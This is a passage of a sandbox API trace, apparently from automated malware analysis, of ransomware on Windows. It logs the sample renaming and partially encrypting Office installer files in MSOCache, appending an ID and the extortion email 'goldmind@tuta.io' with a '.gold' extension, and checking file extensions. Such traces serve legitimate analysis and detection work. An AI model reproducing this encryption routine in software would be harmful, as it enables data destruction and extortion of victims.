users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0043.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.170] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.170] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.170] ReadFile (in: hFile=0x19c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.174] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.174] ReadFile (in: hFile=0x19c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.178] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.178] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.178] ReadFile (in: hFile=0x19c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.194] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.194] WriteFile (in: hFile=0x19c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0043.415] SetEndOfFile (hFile=0x19c) returned 1 [0043.416] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x402c020 [0043.418] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.418] WriteFile (in: hFile=0x19c, lpBuffer=0x402c020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x402c020*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.419] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.419] WriteFile (in: hFile=0x19c, lpBuffer=0x402c020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x402c020*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.421] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.421] WriteFile (in: hFile=0x19c, lpBuffer=0x402c020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x402c020*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.423] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x402c020 | out: hHeap=0x880000) returned 1 [0043.423] CloseHandle (hObject=0x19c) returned 1 [0043.423] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.423] lstrlenW (lpString=".doc") returned 4 [0043.423] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.423] lstrlenW (lpString=".docx") returned 5 [0043.423] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0043.423] lstrlenW (lpString=".pdf") returned 4 [0043.423] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.423] lstrlenW (lpString=".xls") returned 4 [0043.423] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.423] lstrlenW (lpString=".xlsx") returned 5 [0043.423] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0043.423] lstrlenW (lpString=".ppt") returned 4 [0043.423] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.423] lstrlenW (lpString=".zip") returned 4 [0043.423] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.423] lstrlenW (lpString=".rar") returned 4 [0043.423] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.423] lstrlenW (lpString=".bz2") returned 4 [0043.423] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.423] lstrlenW (lpString=".7z") returned 3 [0043.423] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.423] lstrlenW (lpString=".dbf") returned 4 [0043.423] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.423] lstrlenW (lpString=".1cd") returned 4 [0043.423] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString=".jpg") returned 4 [0043.424] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString=".doc") returned 4 [0043.424] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.424] lstrlenW (lpString=".docx") returned 5 [0043.424] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0043.424] lstrlenW (lpString=".pdf") returned 4 [0043.424] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.424] lstrlenW (lpString=".xls") returned 4 [0043.424] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.424] lstrlenW (lpString=".xlsx") returned 5 [0043.424] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0043.424] lstrlenW (lpString=".ppt") returned 4 [0043.424] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString=".zip") returned 4 [0043.424] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.424] lstrlenW (lpString=".rar") returned 4 [0043.424] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.424] lstrlenW (lpString=".bz2") returned 4 [0043.424] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.424] lstrlenW (lpString=".7z") returned 3 [0043.424] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString=".dbf") returned 4 [0043.424] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString=".1cd") returned 4 [0043.424] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0043.424] lstrlenW (lpString=".jpg") returned 4 [0043.424] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.424] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0043.424] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0043.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.425] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=36233052) returned 1 [0043.425] CloseHandle (hObject=0x19c) returned 1 [0043.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0043.425] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.425] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0043.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.425] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.425] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.425] ReadFile (in: hFile=0x19c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.456] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.456] ReadFile (in: hFile=0x19c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.520] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.520] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.520] ReadFile (in: hFile=0x19c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.560] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.560] WriteFile (in: hFile=0x19c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0043.788] SetEndOfFile (hFile=0x19c) returned 1 [0043.789] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0043.860] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.860] WriteFile (in: hFile=0x19c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.860] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.860] WriteFile (in: hFile=0x19c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.861] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.861] WriteFile (in: hFile=0x19c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.862] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0043.862] CloseHandle (hObject=0x19c) returned 1 [0044.149] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.154] lstrlenW (lpString=".doc") returned 4 [0044.154] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString=".docx") returned 5 [0044.154] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0044.154] lstrlenW (lpString=".pdf") returned 4 [0044.154] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString=".xls") returned 4 [0044.154] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString=".xlsx") returned 5 [0044.154] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0044.154] lstrlenW (lpString=".ppt") returned 4 [0044.154] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.154] lstrlenW (lpString=".zip") returned 4 [0044.154] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.157] lstrlenW (lpString=".rar") returned 4 [0044.157] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.157] lstrlenW (lpString=".bz2") returned 4 [0044.157] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.157] lstrlenW (lpString=".7z") returned 3 [0044.157] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.157] lstrlenW (lpString=".dbf") returned 4 [0044.157] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.157] lstrlenW (lpString=".1cd") returned 4 [0044.157] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.157] lstrlenW (lpString=".jpg") returned 4 [0044.157] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.157] lstrlenW (lpString=".doc") returned 4 [0044.157] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.157] lstrlenW (lpString=".docx") returned 5 [0044.157] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0044.157] lstrlenW (lpString=".pdf") returned 4 [0044.157] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.157] lstrlenW (lpString=".xls") returned 4 [0044.157] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.186] lstrlenW (lpString=".xlsx") returned 5 [0044.186] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0044.186] lstrlenW (lpString=".ppt") returned 4 [0044.186] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.186] lstrlenW (lpString=".zip") returned 4 [0044.186] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.186] lstrlenW (lpString=".rar") returned 4 [0044.186] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.186] lstrlenW (lpString=".bz2") returned 4 [0044.186] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.186] lstrlenW (lpString=".7z") returned 3 [0044.186] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.186] lstrlenW (lpString=".dbf") returned 4 [0044.186] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.186] lstrlenW (lpString=".1cd") returned 4 [0044.186] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.186] lstrlenW (lpString=".jpg") returned 4 [0044.186] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.187] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0044.187] lstrlenW (lpString="Office32WW.msi") returned 14 [0044.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.659] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1992192) returned 1 [0044.659] CloseHandle (hObject=0x210) returned 1 [0044.659] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0044.659] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.659] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0044.659] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.659] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.659] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.659] ReadFile (in: hFile=0x210, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.663] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.663] ReadFile (in: hFile=0x210, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.669] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.669] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.669] ReadFile (in: hFile=0x210, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.684] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.684] WriteFile (in: hFile=0x210, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0044.858] SetEndOfFile (hFile=0x210) returned 1 [0044.953] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0044.998] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.998] WriteFile (in: hFile=0x210, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.999] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.999] WriteFile (in: hFile=0x210, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.001] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.001] WriteFile (in: hFile=0x210, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.002] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0045.005] CloseHandle (hObject=0x210) returned 1 [0045.005] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0045.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.005] lstrlenW 